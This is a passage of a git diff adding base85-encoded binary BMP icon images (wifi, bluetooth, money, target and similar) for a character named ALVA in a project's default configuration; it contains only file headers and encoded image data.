z9L!ZxJxHyOr$_o;PYw?@m37x-jkc6tH84#=fzLfY1tA2Sl})gV(^zW>I5pf_`DS|j zSx?7PQddh^VGi00D2cRjjI_LHz%A{mV>sAcJovEI$M#BV|Fg*rGG)lYsFR;A@AOTr zwsg(jsu<15?77=GTUc7pafGfcn+W^v04O**z)Cp@?e6Z`X&cFlNVasoEH59=&+V^k zn0zv_&_A<2`gZH-(l*HGL$5Y^CYB%dF5uk42iqSm%#HUw=@dWB5pM4h=j2(Jo|uEh zG~{MJ>*<7bLeS>w;%HkHn3Q-M+ly*iZYl=05^81=^08Mu!8{)Cy1%`(0h;Y@?~Fca zt-N`oFesoByf1aWj54;CXA+*87=JT8`mn0f)xh`8?a7K;qg6HIRkdT4)uZKQ!$o-m zd6~VrS-p*qURBhza{ok6aQFS-ts2FOzhwp0;G@k25jhPBmFA9Tb@kIZ={@<`eI>-9 z^3stz6{EMxhsuhEigNqQipGLb1;r_OR87}$5jtY>o%Ig}A3rXS3ad?uEer{p83Vrw zg16Ph*H7E-;H~WZ?d_BCm_%PM7Y*&WE0-raYB$$csBK0%ItzkAYHmc|j*l7bCN-8< zD)J%A^NOfvgFUc;KG|iZWK+DUYJ{f$Qno_`bl<}(F#g(OZ z3aK6U_aFH6ef^84lbS;3CAkEO%kDktU#O^PMBtvs!9sag%xgp>Dm+tynG7bYFBqP(Wd1oEk4O*wcr4YGQa)S6DkMtrN^hz(>p(AOaf- zhN^2PANRa%Y#VeocMzdtNsCC_T>to^Ezt8ZR_erEUR=87;3jZ_!NttJy1xBU_p1l3 z^VKykZk0YQEgCH;7%naxzEk-!7?s^nQM0wSdasmdDk0Bu_=K*2bZ%g1w1Wp;$7;0m zuRrCOf7TP~>f~);`l9pBSWB6mqGqbU@50Q}ccc*1R(01`%_!lLcN*6JJR?8b_a~jy zbRONS-rL#Eh)ncy3~V8-)jynVdNkksc>ZD6tLCofg%x$4_U__mIc-%821$MUsy=*SdR5>NgG|a<8uE$0shXur4 zcJ?;YHj!r+mpaSmX=?YN@*dUZgIV_=1-1MSS*cxjcXoT9bjACJ8HuS#o#B&Y<(K6} z$nuHF3y4c`@yj!dfZMx}Yq%j&KXox%URaFAgbLHMco@GQInxbqytmSoeg%u4Es+aU_ZiYtRE3Xc#`-iL_3=Mdkou8Q-B=xp8 zwt_q4Dq{JghUWR{S0DYH-}AWJ_JXk#8=t$eU3o@MTUEuS3r6;GT6sQ%{@RMx+?+H| zKQp8<#>(Nz-I~0_R6BKJ31%J-OUGv;;~!iX9D*MW02Ip47q-CV_MdS6w&g#l`KMXo zQ9E!C@-vl`cjpI(b-&#HpatdPDbFe<$;c;o^jw_hm0MBa$!Js>7E>M>9$@Rt_5B%X zW__TVQJP;;>SGc*2Q2mdtdz9RTi2e$qC4+{s@@n@q? z%kzoe))%E1dBtd0!#vSA2T#7A&dRfiVlQ5)xpjMb^5uSapnJdk>lQwp^;56EZ#jS% z>mL?A#afb<5#fVTfb@}U1F)&tJ{qQ!rQU%x2efs6f@^}t~K2NnP8*Z&}A9zgl8Uk?n%e^Bv% HmtX%cMd6Na literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/bluetooth.bmp b/resources/default_config/characters/ALVA/static/bluetooth.bmp new file mode 100644 index 0000000000000000000000000000000000000000..58e207902f9a067c91194b5d2af3b493d175ff34 GIT binary patch literal 446 zcmZ?r-N(oP24+A~1Bf|+m=A~<86S2gkj)63|zc;$*g)U7x2I1|Rw+NP@csMu469eIxp3hkP~o9NhxK#~ ze|-Ob=FC}D6%AKscZTSwSQTaU?b~;pIC0X@!1(RkcT*-$RZ>)~D6eGr_U&79Q;VFe zVoY?bk)cUgXoRAI%F30ifF?oh+q`MBnyRLxgp7@~-Q`P{QQWd=BQ`mpnN5ulGvm3xKMXAm+{4NF&Ue3a@B7D>C_KJ5@RfR^UMNwJK|%QB{QEhphX9<<=jC#FI2`u- zJ?Q)X>2yLzucVHgeu1Ix0m*Q>7UwrzW!hfW{v)@n7=G$l#GLqc?rw;=U;y;7;*$?`A-`3r?Y zsZ=5=e6?C(V=e#Z?Q}X>9<~7?D${klUAXJI_>afq<#J(@v<2aD9HZaw_cTr0?RK$P MY_(dq+YJT%2UDPpqW}N^ literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/charging1.bmp b/resources/default_config/characters/ALVA/static/charging1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..4482007cb14c4037e70174f4d28c29677689d4a7 GIT binary patch literal 438 zcmY+AJ&J@t5QQ~yvSq_L!h-pjZ@xz`@(kvyh>5=_DB}rCOxIjCF*4Lp!4oKGpfk>+ z3mT`O9>v$s>Surd{D}gq8}ti(L4Tq};R+RmU!4DcP%{8Yk|c_vEX(e!FoS?wmUXpoaLSz+`%58QE_cl!Y+`C%N#5vLfS#K~V2MP1kQ;hBTzy52Mm_xrxT?>pjY znx-hqG)-X`^8LuBs%lkL^E?MZaL!YfW#9MMgB#C$+qPjC_YuW6utTbT)QR?f}t2TW?WFplwBnusR^meu~e*e!M=tC3pV|5Me3NCw2MMg z+_9*|rNuh5i+<3ST`?&Xu%^Ha!weteVGt5GrZ4y2ygBc@JLlcQc|YAHV?9B&An*On zJ9OW`gE;>Nu%E-#l%!h*(SX=$HoNV1uiNctnj*^pRYhs5D(a|{!39f}q^u}@+1}2b zoU}C!Q7)Cva=B8m*zI)sHyRBh^g7tz_jo*3i^b(~Jz$u??Cj@c(&2EJOr}RxYbX@@ zeSM985asiE0O4@BQZCnSZhjUDFJ@*Q+wGa%T{Qi%x99bGeLi2kRwH^dKOYDLbY0h4 zEkyD1vT$+X8Xu2uZUTe=MNyni=gQI&5n7~ocJy9PZZvTCe0q9gef|CFD!Suy0DcsN zXH!!|_OY?A=`^@dkLsD6jK||E%gcVhf5c60ZEiF;wM*ON&pfMVaCK8Ft)fJ`z b_x|-*H#{B~j6IY>hBmZ$$Q_yfpAFF;L)O8a literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/cred.bmp b/resources/default_config/characters/ALVA/static/cred.bmp new file mode 100644 index 0000000000000000000000000000000000000000..47ea10c6f450d336dfbc7448a277d5ec664c7546 GIT binary patch literal 1062 zcmZ?rRbycQ12Z700mMR3%*Y@C7XQG^z;J{Qg24hn;y(z&^c_EbQb$`~Q9(sTSsg1jN^%%PJxAlO|08Dknl8&{aT%K0f~M-+%c1`*%umx|D=0#Ho1gQ&rJW zlve>-|L@;Fpq0Q723iITDO~QH40R{aH~M{nb1EG7#u)<01;5Do~}VkN?J~Ku8FZZP!mKP z=)dx^3RL^%&7Cj6CoC(YASbH`L_j5i0-}NfB0$3+B0!R#PpGM>6;C;udiojgm1~>esyCX(2UX0PBM=fnu*OZ8}n~cDzOZ%Djjx3!<;g2coExU1o=?BMA_kPcL-tV06obzgpzX<5OG=O|C#<$_nk2C)h{59Ie z&IG{k^IEM|)oL}7NVwf@v)QcGYM-B<0Zk^8%jJs4e+n|gV9K@b511OkD_;~9-czuzB=#gfV7`};c}>;r+o z>+357xx2dq<^BCVQmfTYr}OjkbHCqT(%o*i^Z6Wd0EGSVcm)1%ICQ&Ruh%P)NKmKK z0d=KPd3$>^7z|>un9XL>>2xZU3dmxyL?V%1uMY-;#bR-{+x2=qRIAlAnp2_wXUXMq zIEj=><&~ODCevs%2m%QED=(kVM<+u_CX@MmzH~ZWuh)me;dnfr&1RFyWHcHz8jVaQ z1GP~o6nH$I!{H#C%~mKBE`JZAR;!iI=d;-?oCnP1a?NHFK5-G0N+qk+iq`8jlmUWB zrBX-+hr?YZ0}Rvy$^|3RZnrm^4T?si6bj`^ck30VAsh}Pp-^~Bfyr~ZTm%il^xYyK z9v%?P?=3ebe`@B}*O$ZLU^1DQihoH4gJHMZ`~Cj+{ehDoA0Hl%2gX*VQbE&TWS^d% TpyN874z5rtl^P5Nmx`l5bKd;E literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/ethernet.bmp b/resources/default_config/characters/ALVA/static/ethernet.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c5e20d8ea72342894513ed1ca1bb8288294dfe1a GIT binary patch literal 670 zcmZ?royWug24+A~1Bm&cn2|vOES>?BKLQj4VHnu4V~3@srJ9PN z15gD_8$McIUY>!0pPwID4L3J89~b}`$l~nm>3rC;M^=K&K6>;hs@gq!_H5m{b^iSMixw?f37MG6@2(4xndcWMqKB2aFl404OCTB{gf- HECvPu_ZqmM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/frise.bmp b/resources/default_config/characters/ALVA/static/frise.bmp new file mode 100644 index 0000000000000000000000000000000000000000..17295513d003b3f69bc868f05139307ca315de4c GIT binary patch literal 4146 zcmZwK3DA#K8wT)Kq3p6}4Oz1*B}(29l_`7nCEL(qB!py(X|W77mJy{gvX!NYWTzNg z`0UHjL^T*?8^%|@U+%AG{zK2q`@HA5&pFq*&wZ}@y3aqoX^q@zH=kPG<^2uwm(5>> zv_jr#Y5&cYmbNKp{M|Hoz5e>^_3G7o=%I%mfBf;bZQFkM;fE(rp1gSR;=FnDx^(GM zzkdBEo_L}|hYqu6&pvqY;PmO!8#QWFym;~a`SVwAuwX$0JcSAsDpRIR!-fstefQm;e){S6-+%w~(@&wngxtAv=g&U-4D6IC zQ_|DZixw?fpg@6Y)vERC)ocCw^`}mqTC`}s~R;_a7%30SK&wcmZSE*7Z zutSFq-MMq;kt0Vm9(m-E!i5X#ty8DYn{U4P-FM&h?c3ML*l3O%IV}3oM;~q5wr$Lq zF-@8@DOp|*QIt;2^8fAYyEOOz;)IdkS)V0}WiJ8q91JGNrQinj~^ShZ@^TZ}&Q zh+H%9JVEcinXte{LD9H%pc*S+i!CpLQx}oC!PRXm~T`%a<=s$}X%ZhS95$H*el(14&j4SU%tt zMg^MQyYId`f#s4e`$a#GQ}78eKoC2^+pJl$FTeb9)TmMDl+10{t{tW=Uc4B46C>Zg z`R1Gb`}fb7F(Z{H_$e2#YuBz_dVl=!$L-sRW%4U4qeym|A{qesu2IU`Rs{&VxO%7O(8L}wQJWlvQ3*d5p&9L z|NeWa%IKh-qsBe=+%s+3wBLUFjVSf* z-Mc}91~qHel$egyzMP0L@tFAY&p&_u`R75B2OfAp#60cWw-*PC8fL}dIS!MfUw{48 zyGM^6k{7Ho4$h8J(;dec?9;^XP*^b zE*YG}{NK^P@_Vi#tl>@29C`xF|7+K-1%lML9abex${c*x28mA=j6_bkso}Vt`_oT9 zoxm#k;uf&D8g?XEx^!t6F(=U((U>)B7L_o|NZ`h}erP8#censU3Hg(_6vV^)5hF&N zJ$rWi`0+F(af7O;<6nLCRh+x77%u`c)ZrSbC`64wr08Xgh75Y|z4x4^`#^GJddVq~ zAwIDdk~;_#a*qNVSCO7QdxoYZ&S)r?-kg8wrI+Zfdr?p>z~$iFxpPTM7;QEPEEFqN ztcVO1hXA=9*69o!IFPotZrwWg9Jwjcl&3e|cq68`Cq&9LZ{9qSW%oTX5AG$}(!YOy zMu%cW0W4XvBr#DScy4!be6dH%2`L)8zgb24#1gKWQp~L>0u>VEPO@Rc1`MZrU?r>* zpFDZ;o;`cyRO~%qWk;t@otz-@gB6W97aHi2$>-Q$z}hB_b(+LheK$sCp{24VECCzw z#1?{Z`0!zcAT^B2fn50d>#sqv#}w`fsoe!EszXyf!MZ(0oBXvh%3PMJgs@Jt^*LU7|C+=xH2?fw=gGj5=At$an%G8)3DxFMS zHvst=WidXJw}VctUos_-!KTKfNRc9lngltSF5Pq`pGkxNp5*gi8`h%9Qakl38zZY! zsbUw2#3j=eHP7vCBm*?K{ph2Q3UW|AwM$;Ox7;2aRr~gzB#s+Dd5HgR3j#>`2p4?F zg3s<|=s;DOt5>h87ZgB3@tiv0u$zE88)C4l;FeBLPj{p6>yjooady8Dfr~)ETE#)P zXwd>KPng^|iuzkdCsr`v_)WQ{8&N>gUaF9+S7{PdP7)Sf4F(&+@O)kQ#B`CT9aVEyQL l>#euI8cEZnr@5{}rW-~x!4esEMwdOsLN&CUWbqcO{{drENx%RA literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/gold.bmp b/resources/default_config/characters/ALVA/static/gold.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c729f59a8b7efaabc5264b3e4f963eaafa47795e GIT binary patch literal 1398 zcmZ{kStzVw7{_NY$FX#bWinjYQl>Lu>&8Pa#`dTWM)&@YHp2aRG$Ue`jY0|B;cA&dyGB5fKqDFE2E#va(VH zMCjw=Ge19%@y5mmh)8N{YmNSokB{;3@qAZRRRshDP_ROw$jQkmE-pSeI9Oj_*Jw0# zb#`}^D5+tJZck`!U7kxU;R9z^|wp;E#~78VxRis|X;@bGY) zQ8+j_tgWrh%*;4DJC~G{Fo>?MuGG|2T6lhbURG9y86hdw+uQqVe4(InI>HLF!t}Mi zzJ7dsJTEVg$=li45d$-G{Ndr@kM*N~kceHty1BVIHa6D9#ig~iH6$cN1joi)Kbr&| z0qK+IKRS#`OH0`$CZyBpy1TnKH#Z9l3nL>Vt*xz%5lk_R{b&BP(bLnDBE|gCfn8Ko z6dD?e%FD}(uyJv5_y-3ElQstL^Jlh)hll0m-__QD{Q&{q{9|~Vj;=~j!*7C_YHeN@Ba_J`Txw#&53my8yll} wetv$evs^A`kZem^TibvCKYtL7Z>H7P*C&2tT)X}K{ngdgv$M00HiDP@27kgC?*IS* literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/level.bmp b/resources/default_config/characters/ALVA/static/level.bmp new file mode 100644 index 0000000000000000000000000000000000000000..42f2a68dcb942cf0f9370b3ba07a2ffb247656bd GIT binary patch literal 1062 zcma))Kd3=b9LMkNy+Ns4-r{Zsd1O!qQar;m8Qv~gl$6P0F_Fzq8ObDNRu<|FV#KB- z3Z=Y3{w?o)-~GLNI-IBc>YRS(d%mCF?{`o4{p0mn(!z_~f%WpYWJ%TZuO~_RRA^}e zwr?$>(Wov+*=%;V+c_M+73%dm8Or6dEX(BadeMMnpU-D9nKGG7E|=@|daYK=Xf#@_ z)_6RAxm@6Z4k(dGAgNZXI)@TAo9%EoP?=;hX*QdS#Ujx8e9pMZWI_gxgJrYXK%UKJ z7K$TtS7wx3r3I;Z+J|_vd@pwEU3Xz9kzUCn8_j|Y7 m&7(L%WSuAxILIg+2m}a4a?|NPhnv-Ege#77i=>C literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/manual.bmp b/resources/default_config/characters/ALVA/static/manual.bmp new file mode 100644 index 0000000000000000000000000000000000000000..0c1954d279f6080c3e197d76e52decbf3937f673 GIT binary patch literal 1062 zcmZ{jzit{q5Qi59n($Yt(j!Hdj+7kK@nH%a$<#anA{7qe0nB0XB(yQd8_*ky+>r)i z*9I$v9VdZ1@^ND}Bq*!9(d^#u+nJl4efR!NRE5LD9`U|hQlpf-;R5FS z`nA!PIlRwryEfE*v=BuI+g)pAcyAj$5yOEf#mJ*2hF55sSrOs*JOg@RI%#)rmaGWPxTCLB29>+5>GPG)AoL?)U263f`1}$EgX$T;$!iVYYuUzbD@-F9aBB3M3FToNeV5gXwEPU z5T&SerBYe1R!@%)nj=XDVWg7#@emUSE@zxpPT>eCoP;4Ha`F59zK*x!tmA+4lq6@f z861PaK$?4-%auyjwk{Xjx{UwSMT7!jWgFp!LkF>K+e&%v=lIL#bAXUkNlbG%vWTtK zYBb`P=~O8W@%(&y?(DU%J@n}&WHf4c?ljGEahK2MGnvfr|9$2R1~g)^SiD~@!#<;o zocMe`qxT|_NTWetPXgc9@n{Jai3D_ebF=Gfxfjf6SaSI59#yLx6@^G8lkIl(gE=>Rc literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/money.bmp b/resources/default_config/characters/ALVA/static/money.bmp new file mode 100644 index 0000000000000000000000000000000000000000..cd3a033b8147a4ec6467a2cbc78cc53ff7f0a1da GIT binary patch literal 1062 zcmZXTOHW!+6on5dP6}S2Ns~_K$TUp=I|3ZiicYYJX#D|*sTw-c5+{}p1pFO^Ninf0 z5C1`@psil$K&ef1B$y`hQ1L=P&K1+g4)^A8&RTo#v-Y|#UOq7j86MtGc^=$82JuMl z|GFo{7e#;M2Cr7Lq5rNf+r3`5QdX0Rgx~LX%3zU9Cdy@%BLH{c0q>@BU8|i%qi@Y- z^U%-`oFFkh?Q}SdMx%My9F0Z+0Mn_G$G;!ds@Llk!Vq~A+1uOIw400!7Q3a=^71mB zdAuHAI#md&lgQ(CTP&7*KHrmZdUEni1`B;BoBgaPipS#t3`K};S6f+GAzdz?1H#_> zSd1L{{aM6fvCIC|dr;W~-0OCQP*v4rGSLYqT}?};(;SAw;Zc`sbkr3N&+|8(N|7GG z;^J$-WmOd-9*-jgccO8a!QhPDZs%J5@qU0E85x`k`e$l0aFK_(=ip8f=5XX=|smuvM84M`OyBiuOw?WE&u=<@Mz|)Pnw}6 zo7F~pG~@I6V0_x%-q|Vi>$RFtT~6o3guk!LMqiiRTV0RrHA(Y|awY9bLdQB&RAAEl-sg6OB Y>F&El^2y1G&CO(`QbtbzdJ)O{4M#3Qwg3PC literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/networkkb.bmp b/resources/default_config/characters/ALVA/static/networkkb.bmp new file mode 100644 index 0000000000000000000000000000000000000000..967d706aab76c5b687d63259993795faaa8a734d GIT binary patch literal 134 zcmZ?rZDW7{J0PV2#6nQa$iN7e@BorW_#l`G$Od5$_zwdA4lwNh;lLpO$AN+W_W=g} r?*|xm$sb_&$B)1df&9ln@#i}aF#P}L0K`DOb`A{xK_yDUL_}Iqd!9u=}&yk^dT%^Q9%l3kvh!zIz9< z3hXklzMsE;|N8yw)r;r$u5Kc+WhS!^*=>7ix8(^C*>8Pqwe+%dPLG0##r3P_fBy!m z{Rz~`z;N~Uoy3&X=!l4jzyKL_HS=Yso%VmQ+wvHSHa~LQ^~PrNGf7jsARouLxX{?R z@Ka}wF)*xMzn)7;S3IFcEWSpisLy8ob-QiPY_~i?psmkrH$Ks-UMLk;Czaa9plLI4 zLJtGOmNl!TeUoeteX~FC)o$-c>#fhNw>-l{w!7ck?fdL_{J&&k28OL`*GPHA zS#5u1v+V_@aukuR&w&Pu$5c%Q*$31o=@o0W{WZPxty?4I8DqKaC06^aHb1rA@)Q`J z)#fbsHz2g*t?jONHakIF>+Nr>x4p96`Oap?8{3_)?e~0= zh=%Kv0{U;)JL9>>4JPl=pRmJd)^Yv*ZHChi7);)+KWPt;tJkyHaOysTNxL2PeM8bG z=^1Bx@VioGqojYbm|K)WN~4HlkZfe3w10}Uf2vA$n~=4KbV#<8U$WETKjI+!dLi-P z6K{L)n|}XRt@=fpHS_d(wy0Ok)NNm_)38{#afxC7Hnq}e+Re*!8W%Yo{VN$)H>Dq_ zZ}Xbf!uA0MOD>r#yKb`Vn#r;oCQGlGEWcs0{F=!MFj{sMC}_Owiplb;rmJoX`Q=XT z>0)3weDI)zyu7fQu9&6)D$*Czgd@0=A-}lfvc(G-7`}b`cIMQnBm4IrJFt%+I_ literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/target.bmp b/resources/default_config/characters/ALVA/static/target.bmp new file mode 100644 index 0000000000000000000000000000000000000000..9808765f9f3b1503df3dc728fd567d18e6e84cab GIT binary patch literal 1062 zcmYk5StzYh6vy{HgV`~4j$6D)9Ty=F4jv5M3`K`h!ihX0WQYe-k-`h5l<|a+DTNn# z@Z=&gM}{YvmEm|WWw`g(_uYHCyY~0(z1DxN{ont!_D`c;C8S~C`-AEJcYYJ!CA&o_ z#4n9JB?F(|()jxN;(u~-($muu7Z>N~=!i?B(HM=!fq{YR>uVYI@$vEb`N>)cIfCWb z*jQj-AlS6Dw7R;wwzjsas;Z=R%6QAWMK zzAi2~L8GC#CqN1Yr_jf$IySp779W^yIa6Udh#&UmupOKN_ z?CiX`xhaPVaeI3k5fKp+6Z7)&^7Qo7(9q!O>Iy`!*W20Id3kw31?NIR?3$XIkfXG;bbo*U^73+PYs+LZ;qCA5$2&4ILdu1O1u3qepddCj_WAkw z;NZZ+!=t361T!}{J3C{+?Nd@xe0_a6kGpEM+Un|RDK0cLlu(wvy}gKebaVvU%F0TA zfB*XWdJ;gz$;oMad>l+-Vq#WS7BUFo?d@GrQGuYJYk))oUp14+5S9f-HY;A3ahK9hTrlzK+ zr@y_u36YbNgGz8;UtdSY=H_PncXxM7OG|VDJe+ zI5?P`oJ@)6JW@hMisNH8o0UpsYilcOPMw^b%+JrKL8!^>>@4cBKqd;=*w`pjk@^hc z2#=YHb0pFK4~xY@L5PzFl3iV0{d-3M$%URYR(W~(=;-L&+}!Z+a9&=XR;O!eX+b{X zC@@V)`$+G|`T&-fmysqYD2TVAP$-Z$EG(?7tc*@SKR-7Z3<(JdoWNbA^N6#CVn(U$ W?d`R-HQ;oql{2O2?Cg}cLi_gosvvjh~#+9psl0k*AzcYqWO ze-hd=x{(WH*-6gLcfa$?mvisy+b4;-dV!OLe)?$wJ$L>G%)h|=?%%o%>wG>l3^Sk4 z%d#9!ZU~KxY;~hmSvmGhT}Nc z`af3Jb<473S(YRzP16xR%v~%N5WQZnSF06lo##1@W31mG&N-<-$w%>2R-|zlzXPepnsLQ>F!@1wjJ?CD|UA{Ix z2Ero+?JQhl`qv`G-- zODWE*v|w(0n|_!Bb6duix?P_zLzoi?-`oDfo=~X=i*D2vZDO}lK{awolSVSr2|7sc zUGSqI)@6jEk_i{THgyq601$$Ft@5D`EXLuNwDWsZ3W{=^S&Kzg3W?C_rF8c~A2YH_ z2j=Q^w>d8d@TKvaCARbwSaWB#4M6HeBxjAlsQHW}DRK;E&7SkwG{|Nga@u{%1JKAc z>!4Uaq9Q9bm?`g9p;nb5-F0%Ny~4J6k)WiJlfu#0@eS_pYXG>h`K|#>$HzawVj@RJ z?Dj-r%@(>k*u3>3`k8WqDUVKSGJ@Heehr{%#Z7dNPHMz(G>4^X(#eMxtmhr4T`p!M z6SaaKl(m|m*e5-#M)Uf)^8awkg`{w&(EO0= z>kS0_0dx*;5O<{h$v6EkH@Rt`&MZ0Eo+#N4@RSC4o-N7Ywr)od1{a%=Ea4Uk@}`CF7vh{tt`&2MA*^;zCCem`EieQLmfJ>+TzLp8jiiRCsbI*p2ao_bu`!tMqSCD z*pMCX*&pwDd%cTN;&u1hW#>=ADNF2`bF-awnNI+C%KN%~9rrt5FfFc)b@sXC<`|nE zOnR`M0Eq_#&552*B^fFsqN_N{3%fEPy847CvgWGJ;?IjkA0qd9ZgJg)hd@$ XQS-Fm)z2;;$8&-d(V&#)IPA~gj3r~2 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/static/wifi.bmp b/resources/default_config/characters/ALVA/static/wifi.bmp new file mode 100644 index 0000000000000000000000000000000000000000..eb95ff985d0de4e24ae6448347cfb4a532fd9f7d GIT binary patch literal 950 zcma)4&x`3%6#qVx6}@@h>QST_3T69Z!}L;=9%@QSDYCJVKLHC1vt%Po&0>hKk{XoF z8>5I~iz12?8&Q6}_Zc^34E1i^b8qLI&*z-;x%b!a+!eK7KVe1K-?6`8f1!TBQj{C< zKVQk-J7E4^Sgls8R;z6`o3rr?xR;lgo0}Upn;nTncDvnY=mnh125`+Y=4qfxKd!(}iSY`5DJ^hX> zFOf)mKHtfdA8{acI-PVn{UG-HNu$y1cKeC22i$tSj>TecZ*PE>N+qE0?(P%{g~Q<} z6bf+G>-Bg%jx^Hn0S6&K&Ear@!Qf;vAwgoN(`hss<@5PS$Y!%gIE+0WkI@WTLQpIg zTPzm0+wJjqtX8X3DuolvY&H*vLoz5uC6mef`}=0I2_n#GG@9${Ym!JTlgU)6RH;-7 z37t;IXf%dGA&SC@xIiGtWHO`&a3m552n#WvpPw6z2C0$D<Oz!uj z5q=Vn(h2$Vi<(IQ%h!)_a&j^^H#ayqXfPO7R#w8{@DG=-e|a}IH!UqK0)arI(M(KC zjE#*c6pG^F;(>vIXf&G1&fozKV*9<>h4xdw6)Lsj1=f`M6l8(@`MSzP`Sm zo}LWe_4PI4fhfSv&dzRcZ($rA9i5(@!ZLM|^aadb{j&g0|b z`1m-)#P8(fBsP&NgsrTsEH5wL+}wmr(DvfuB9TZC(%s$N+S-b=QL2)XlEuZvg@uK@ zyu4sA2n0C|4Gq=S)@EmCTdh_GgOQ(~4PALJ2-(`&!l4BP1<10#zFsbuqXLjL7K=jUxU8!||f4i67IJ3AqGR#ui+EQWB{O7cEFJ`kAO?FJBu zMErjL)zuZno1UIV6Cn{uhO;SBiifXWuSYAwFdB^rroX=*_R`W4jYe}g9Izp5S63Gd zYNYCp$nI4ZvtJR`cO(s)wb90K8`5q|M(KV0&`=|!`6RP68 z-rimaht&Va0|uqpY<5#qlf`0bZ*Qm5=^PFR5yHlcOp{=w;!I;tPfupE86lx@W@cvY M?(WiCnFb+$0TudT!~g&Q literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/BerserkerForce/BerserkerForce.bmp b/resources/default_config/characters/ALVA/status/BerserkerForce/BerserkerForce.bmp new file mode 100644 index 0000000000000000000000000000000000000000..e8f452cf36427f159aa0fa47371ff0ab27d31bd1 GIT binary patch literal 30000 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 